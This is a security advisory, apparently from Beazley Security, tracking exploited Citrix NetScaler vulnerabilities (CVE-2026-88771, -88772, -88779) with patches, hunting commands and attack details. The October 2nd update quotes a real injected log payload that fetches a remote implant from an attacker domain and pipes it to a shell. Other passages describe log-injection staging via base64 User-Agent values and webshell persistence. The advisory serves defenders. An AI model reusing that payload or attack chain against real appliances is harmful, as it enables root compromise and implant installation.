Citrix NetScaler Vulnerabilities Under Active Exploitation (CVE-2026-88771, CVE-2026-88772, & CVE-2026-88779)

Executive Summary

Update 6 (October 4th, 2026): Citrix has assigned CVE-2026-88779 (CTX697174) to the SAML issue described on October 2nd and our investigations confirm it is a denial of service condition. Beazley Security has observed threat actors attempt to use it to force reboots so the CVE-2026-88771 log injection fires, however appliances patched on September 27th no longer execute the injected commands, and we have found no evidence of code execution on patched systems. Citrix has released updated patches and global deny list updates that can temporarily mitigate this vulnerability. Please review the mitigations and patches section of this advisory for additional details.

Update 5 (October 2nd, 2026): Citrix published a security bulletin concerning an issue within their SAML authentication subsystem, which affects Netscaler Gateway virtual servers configured with SAML authentication and Gateway or AAA functionality. Reports indicate appliances running the latest builds, which include fixes for CVE-2026-88771 and CVE-2026-88772, are crashing and rebooting under exploitation attempts. This suggests the latest patches may not fully address the underlying attack surface.

Recent exploitation traffic observed by Beazley Security is consistent with earlier command injection attempts and suggests a potential bypass of, or gap in Citrix's recent fixes. Successful exploitation is being followed by delivery of command-and-control (C2) implants. At time of writing, no fixes have been provided by Citrix.

The Technical Details and Indicators of Compromise sections of this advisory have been updated with additional information and insights on recently observed attacks. Beazley Security is closely monitoring this developing situation and will provide updates as new information becomes available.

Update 4 (September 29, 2026): Mandiant published additional public indicators of compromise and evidence of CVE-2026-88772 exploitation in the wild as part of this campaign. Post-exploitation activity includes deployment of a custom PHP webshell named "WHIPSHOT", responsible for receiving C2 traffic and dropping an additional python traffic tunneler "SLAPSHOT". See Indicators of Compromise and updated Technical Details for additional information.

Update 3 (September 29, 2026): Added how CVE-2026-88771 is exploited, public indicators of compromise, and hunting guidance. Security researcher Kevin Beaumont reports that attackers have been using these flaws to drop webshells since early September 2026, weeks before Citrix disclosed them. Exploitation is now widespread, with multiple threat actors scanning for and attacking unpatched appliances. Attackers are deploying PHP webshells, modifying the Apache configuration and using cron jobs to remove forensic artifacts.

Update 2: (September 27th, 2026): Citrix has now released an advisory confirming active in the wild exploitation of two unauthenticated Remote Code Execution (RCE) vulnerabilities that impact the default configuration of Citrix NetScaler appliances. Beazley Security strongly recommends that all organizations apply available patches immediately and leverage the Indicator of Compromise (IOC) scanner that Citrix has made available on the Citrix console.

Update: (September 27th, 2026): Citrix has privately confirmed exploitation and has made a patch publicly available to organizations. Links to the patch are available below in the "patches" section of this advisory.

On September 26th, 2026, security researchers and threat intelligence publicly warned that it had verified reports of multiple unpatched remote code execution vulnerabilities affecting Citrix NetScaler ADC and NetScaler Gateway, as organizations began taking the appliances offline on the advice of national authorities. The reported flaws have not been assigned CVE identifiers, and as of publication Citrix has not yet released an advisory confirming them. NetScaler ADC and NetScaler Gateway are internet-facing application delivery and VPN appliances that serve as the remote-access entry points for enterprise environments. While reports have not been confirmed by Citrix and NCSC-NL, the potential impact is severe, and the affected product sits at the network perimeter.

Public reporting indicates both vulnerabilities were exploited as zero-days for weeks before disclosure. Multiple Security Researchers and Threat Intelligence organizations have shared reports that attackers have been using them to drop webshells since early September 2026. Early exploitation activity appears to be related to Nation State espionage campaings. At the time of writing, no public reporting has attributed the activity to a named threat actor.

Exploitation has since broadened. Since September 28th, 2026, Lupovis Defense has reportedly observed several distinct actors attempting exploitation against its honeypots following the release of a public proof-of-concept (PoC). Beazley Security expects financially motivated threat actors, including ransomware operators, to weaponize these vulnerabilities in the coming days, as they did with previous NetScaler vulnerabilities, if they have not already done so.

It's important to note that patching closes the vulnerabilities but does not remove backdoors attackers may have already installed. Beazley Security strongly recommends affected organizations apply the fixed versions listed in this advisory immediately, after gathering forensically relevant artifacts from internet exposed NetScaler appliances.

A subsequent October 2nd bulletin warned of exploitation targeting the SAML authentication subsystem, which Citrix has since tracked as CVE-2026-88779 (CTX697174). Based on our incident response work, Beazley Security assesses this activity as a denial of service (DoS): it crashes the authentication daemon and forces appliance reboots, but we have found no evidence of code execution on appliances patched for CVE-2026-88771.

Affected Systems or Products

Update October 4th, 2026:

Citrix has released patches for the Denial of Service (DoS) vulnerability assigned CVE-2026-88779. The systems affected by that vulnerability are described below:

• 

  Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1 BEFORE 14.1-73.41

• 

  Citrix NetScaler ADC and Citrix NetScaler Gateway 13.1 BEFORE 13.1-64.28

• 

  Citrix NetScaler ADC FIPS BEFORE 14.1-73.41 FIPS

• 

  Citrix NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.282

Update September 27th, 2026: Citrix has released an advisory that confirms that the default configuration of Citrix NetScaler is vulnerable to these Remote Code Execution (RCE) vulnerabilities. In order to be impacted, an appliance must be running a build earlier than the fixed versions listed below.

CVE-2026-88771 affects all NetScaler ADC and NetScaler Gateway deployments with no additional features required. CVE-2026-88772 additionally requires DTLS to be enabled, which is the default on NetScaler Gateway (VPN) virtual servers unless it has been explicitly disabled. GTIG also reported initial access through CVE-2026-88772.

Citrix NetScaler ADC and NetScaler Gateway are the products named in the current reports. No specific affected firmware builds or configurations have been confirmed, so the full scope is not yet established. Any internet-facing NetScaler ADC or Gateway deployment should be treated as potentially in scope until Citrix publishes details.

Mitigations / Workarounds

Update: October 4th, 2026: Citrix has made patches available for the Denial of Service (DOS) vulnerability assigned CVE-2026-88779. Beazley Security strongly recommends that organizations apply the patches. For organizations unable to apply updates, you can temporary apply the mitigations described below: Citrix has released signatures which can be used via the Global Deny List feature. Review the details provided by Citrix on how to deploy application firewall detections that attempt to temporarily mitigate this DoS: https://community.citrix.com/techzone-blogs/110_security-updates/understanding-and-addressing-cve-2026-88779-in-citrix-netscaler-adc-and-citrix-netscaler-gateway/#What_Customers_Should_Do__bc9048

Update: September 27th, 2026: Citrix has now made patches available. Please review the "patches" section of this advisory for more details and a link to download and apply the patch.

With no patch available and the reports unconfirmed, remediation is not yet possible, and the priority is to reduce exposure and preserve the ability to investigate. Beazley Security suggests the following interim steps:

1. 1.

   Consider taking internet-facing NetScaler ADC and Gateway appliances offline, or restricting their access to trusted and administrative networks, until Citrix confirms the issue and releases a fix.

2. 2.

   Increase monitoring and retention of authentication and administrative logs to support later investigation.

Patches

Update October 4th, 2026: The Denial of Service vulnerability assigned has been patched. Organizations who leverage SAML to enable user authentication to their Citrix netscaler deployments should upgrade to the versions below:

• 

  Upgrade NetScaler ADC and NetScaler Gateway 14.1 to 14.1-73.41 or later.

• 

  Upgrade NetScaler ADC and NetScaler Gateway 13.1 to 13.1-64.28 or later.

• 

  Upgrade NetScaler ADC 14.1-FIPS to 14.1-73.41 FIPS or later.

• 

  Upgrade NetScaler ADC 13.1-FIPS and 13.1-NDcPP to 13.1-37.282 or later.

Update September 27th, 2026: Citrix has made a patch available to confirmed clients. Organizations with active Citrix subscriptions should download and apply the latest patches available via the link below:

https://www.citrix.com/downloads/citrix-adc/virtual-appliances/vpx-release-14-1-73-37.html

At the time of writing, no patch is available for the vulnerabilities described in these reports, and Citrix has not published an advisory addressing them. Organizations should watch for an official Citrix advisory and apply any fix as soon as it is released.

It's critical to note that patching closes the vulnerabilities and MAY remove forensic artifacts of exploitation, but it does not remove backdoors that already exist. Check any NetScaler appliances for the IOCS listed in this advisory before patching if possible. If the Citrix appliances are deployed on virtualized infrastructure, Beazley Security recommends generating a snapshot of the VMs prior to patching to ensure forensic data is available for review.

Indicators of Compromise

Network Indicators:

HOST (NetScaler Appliance) Indicators

Log Indicators to Look for in SIEM solutions

Before patching

These locations are rebuilt when the appliance reboots so Beazley Security strongly recommends that you check them first. Where possible, also compare /etc/httpd.conf with the same file on a clean appliance of the same build.

# Apache config: webshell routes or PHP enabled:
grep -nE 'ctxs\.receiver|receiver\.min|SetHandler.*php|php_flag +engine +on' /etc/httpd.conf /nsconfig/httpd.conf 2>/dev/null

# /bin/sh should not be setuid (expected: -r-xr-xr-x)
ls -l /bin/sh

# Test markers from exploitation checks in the firmware web folder
grep -rl 'NX-CVE-OK' /netscaler/ns_gui 2>/dev/null

Before or after patching

These locations persist across reboots and upgrades.

# Hidden or unexpected files in the Gateway logon folders
ls -la /var/netscaler/logon/LogonPoint/custom/
find /var/netscaler/logon -name '.*' -type f

# Test markers from exploitation checks
grep -rl 'NX-CVE-OK' /var/netscaler 2>/dev/null

# Log injection attempts
zgrep -E 'pitboss.*(IFS|b64decode|[;`|$])|authenticate user :pitboss' /var/log/ns.log* /var/log/messages*

# Staged payloads in the User-Agent
zgrep 'INDEX:' /var/log/httpaccess*.log*

# Scheduled jobs and startup scripts
ls -la /var/cron/tabs/; crontab -l -u root; crontab -l -u nsroot
cat /nsconfig/rc.netscaler /nsconfig/nsafter.sh 2>/dev/null

Genuine watchdog events can also log “missed too many heartbeats”. Defenders should look for that text in an authentication log line, or next to shell characters such as ;, backticks or ${IFS}.

Update October 2nd, 2026: In the second wave campaign, Citrix states that Netscaler Gateway virtual servers configured with SAML authentication are reportedly affected. SAML configuration can be checked with the following command:

grep -qE '^add authentication saml(Action|IdPProfile)' /flash/nsconfig/ns.conf && echo "LIKELY VULNERABLE" || echo "LIKELY NOT VULNERABLE"

Threat Intelligence

Beazley Security is aware that attackers have been using these flaws to drop webshells since early September 2026, weeks before Citrix disclosed them. Exploitation is now widespread, with multiple threat actors scanning for and attacking unpatched appliances.

CISA added CVE-2026-88771 and CVE-2026-88772 to its Known Exploited Vulnerabilities (KEV) catalog on September 27, 2026.

Since September 28, Lupovis has reported several distinct actors hitting its Citrix decoys, from scanners to attackers running commands and exfiltrating the output over DNS.

Attackers are deploying PHP webshells, modifying the Apache configuration and using cron jobs to remove forensic artifacts.

Beazley Security is aware of a likely attack campaign targeting Citrix Netscaler systems which begun on September 20th, 2026. Beazley Security recommends that organizations retain HTTP access logs (including the "VPN" error and access logs) and crash dumps from internet exposed Citrix NetScaler systems if possible.

Technical Details

Update (October 4th, 2026): Citrix has confirmed the vulnerability Beazley Security observed on October 2nd is a Denial of Service (DoS) condition and assigned CVE-2026-88779. Technical details regarding the vulnerability are described below.

Update (October 2nd, 2026): Security researchers have observed an additional wave of attacks continuing to exploit log injection flaws on Citrix appliances. As before, attackers appear to deliver fake pitboss messages into the appliance, injecting a command in hopes it will be processed: pitboss PPE unexpectedly died NSPPE;<command>;# X. The commands observed in the wild are callback attempts and second stage delivery, leveraging fetch to download implants and execute them:

pitboss PPE unexpectedly died NSPPE;nohup${IFS}fetch${IFS}-qo-${IFS}https://f.pylrk[.]cc/i77AMHeTM1Z7892K/s|sh&;# X

Beazley Security's analysis of the payload delivered from f.pylrk[.]cc installs an implant built with Sliver, an open source command-and-control framework compiled for FreeBSD, the OS NetScaler runs on. Beazley Security's analysis of the implant found that it:

• 

  Is named "Pylrkfbsd" and connects to www.pylrk[.]cc over HTTPS, falling back to HTTP on port 80.

• 

  Reports the appliance hostname, a unique ID derived from its MAC address, the account it runs as, its process ID and file path when it first connects.

• 

  Encrypts its traffic with a new key for each session.

• 

  Accepts commands from the attacker to run tasks, open network tunnels, change its settings or shut itself down.

• 

  Retries up to 1,000 times if it cannot reach its server, waiting between attempts.

The implant gives attackers interactive remote control of the appliance and the ability to tunnel traffic into the internal networks.

CVE-2026-88779 is triggered by attacker crafted SAML data. The crash appears to occur while nsaaad processes the signature canonicalization settings, specifically an oversized InclusiveNamespaces PrefixList. In Beazley Security's response, we identified attackers abusing this vulnerability to force reboots on appliances that already contain an injected pitboss message. On unpatched appliances, ns_monuploadd_err.pl would then read that message after boot and execute the embedded command as root.

On September 27th, 2026, Citrix published security bulletin CTX697096, which addresses eight vulnerabilities in NetScaler ADC and NetScaler Gateway. The bulletin included confirmation that exploitation of CVE-2026-88771 and CVE-2026-88772 has been observed in the wild.

CVE-2026-88771 (CVSS 9.5) is a command injection flaw in how NetScaler ADC and NetScaler Gateway process their own log files. A maintenance script that runs as root, ns_monuploadd_err.pl, periodically searches the appliance logs (/var/log/ns.log and /var/log/messages) for messages from pitboss, the NetScaler process watchdog, reporting that the packet processing engine “missed too many heartbeats” or “unexpectedly died”. When it finds a match, the script passes text from that log line into a shell command without sanitizing it.

Because the appliance logs attacker-supplied values such as login names and User-Agent headers, an unauthenticated attacker can write a fake pitboss message into those logs. watchTowr researchers demonstrated this with a login request to /nf/auth/doAuthentication.do whose username imitates a pitboss error and ends in shell commands. The next time the script runs, it reads the fake message and executes the attacker’s commands as root. watchTowr reports that the script runs periodically, potentially within 24 hours, so code execution can lag well behind the malicious request.

CERT-EU reports that attackers used this to stage larger payloads. They send base64-encoded commands in the User-Agent header, prefixed with INDEX:, which land in the Apache access log, then have the injected command pull them back out of the log, decode them and run them. GreyNoise observed the post-exploitation activity that followed: attackers modified /etc/httpd.conf to enable PHP and route requests to a hidden webshell in the Gateway logon folder, set the setuid and setgid bits on /bin/sh, and reloaded Apache to apply the changes. See the Indicators of Compromise section of this advisory for specific indicators and hunting guidance.

CVE-2026-88772 (CVSS 9.5) is a separate memory overflow in the NetScaler DTLS implementation that can lead to remote code execution or denial of service. It requires DTLS to be enabled, which is the default on Gateway (VPN) virtual servers. Citrix has not published technical details for CVE-2026-88772, and reports exploitation of CVE-2026-88771 and CVE-2026-88772 only, although Kevin Beaumont reports CVE-2026-88773 being chained with them.

Administrators can check their configuration (/nsconfig/ns.conf or show ns runningConfig) for the following:

- add vpn vserver <name> SSL <ip> 443 with no -dtls OFF flag means DTLS is enabled by default, and the precondition is met. - add vpn vserver <name> SSL <ip> 443 -dtls OFF means DTLS is explicitly disabled, and the precondition is not met. - add vpn vserver <name> DTLS ... or add lb vserver <name> DTLS ... means DTLS is enabled.

WatchTowr has published a proof-of-concept for CVE-2026-88771, and Lupovis Defense observed exploitation attempts within hours of its release. Citrix has not published technical details for CVE-2026-88772. Beazley Security will continue to update this advisory as additional details become available.

Update (September 29 2026): Post-Exploitation Tooling. GTIG recovered custom tooling from compromised NetScaler appliances after alleged exploitation of CVE-2026-88772. According to GTIG researchers, WHIPSHOT is a custom PHP webshell that enables C&C communications through sending Base64-encoded payloads within HTTP headers and is placed in /netscaler/ns_gui/vpn/scripts/linux. Researchers documented another tunneling toolkit named "SLAPSHOT", allowing attackers to tunnel further traffic into networks for additional lateral movement and data theft. WHIPSHOT checks for the presence of SLAPSHOT and if not active spawns the tunnel to relay threat actor requests. GTIG/Mandiant provided a detailed writeup on the newly documented webshells here.

How Beazley Security is responding

Beazley Security is monitoring client perimeter devices through our Exposure Management Platform to identify impacted devices and support organizations in remediation of any issues found. Beazley Security has also searched for known Indicators of Compromise (IOCs) across our MXDR client base. Organizations that may have been impacted have already received notifications. If you believe your organization may have been impacted by this attack campaign and need support, please contact our Incident Response team

Sources

• 

  https://www.cyberkendra.com/2026/09/netscaler-shutdown-warning-unverified-rce-flaws.html

• 

  https://www.reddit.com/r/Citrix/comments/1wqjk9a/netscaler_leak/

• 

  https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939

• 

  https://community.citrix.com/techzone-blogs/110_security-updates/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve-2026-88771-through-cve-2026-88778

• 

  https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/

• 

  https://www.cert.europa.eu/blog/taking-execute-logging-a-bit-too-literally-cve-2026-88771

• 

  https://www.greynoise.io/blog/swarming-against-citrix-0-day-exploitation

• 

  https://x.com/LupovisDefence/status/2104616816140288025

• 

  https://cloud.google.com/blog/topics/threat-intelligence/defending-against-active-exploitation-of-citrix-netscaler-adc-and-gateway-appliances/

• 

  https://community.citrix.com/techzone-blogs/110_security-updates/security-update-guidance-for-netscaler-saml-authentication-deployments/

• 

  https://community.citrix.com/techzone-blogs/110_security-updates/understanding-and-addressing-cve-2026-88779-in-citrix-netscaler-adc-and-citrix-netscaler-gateway

•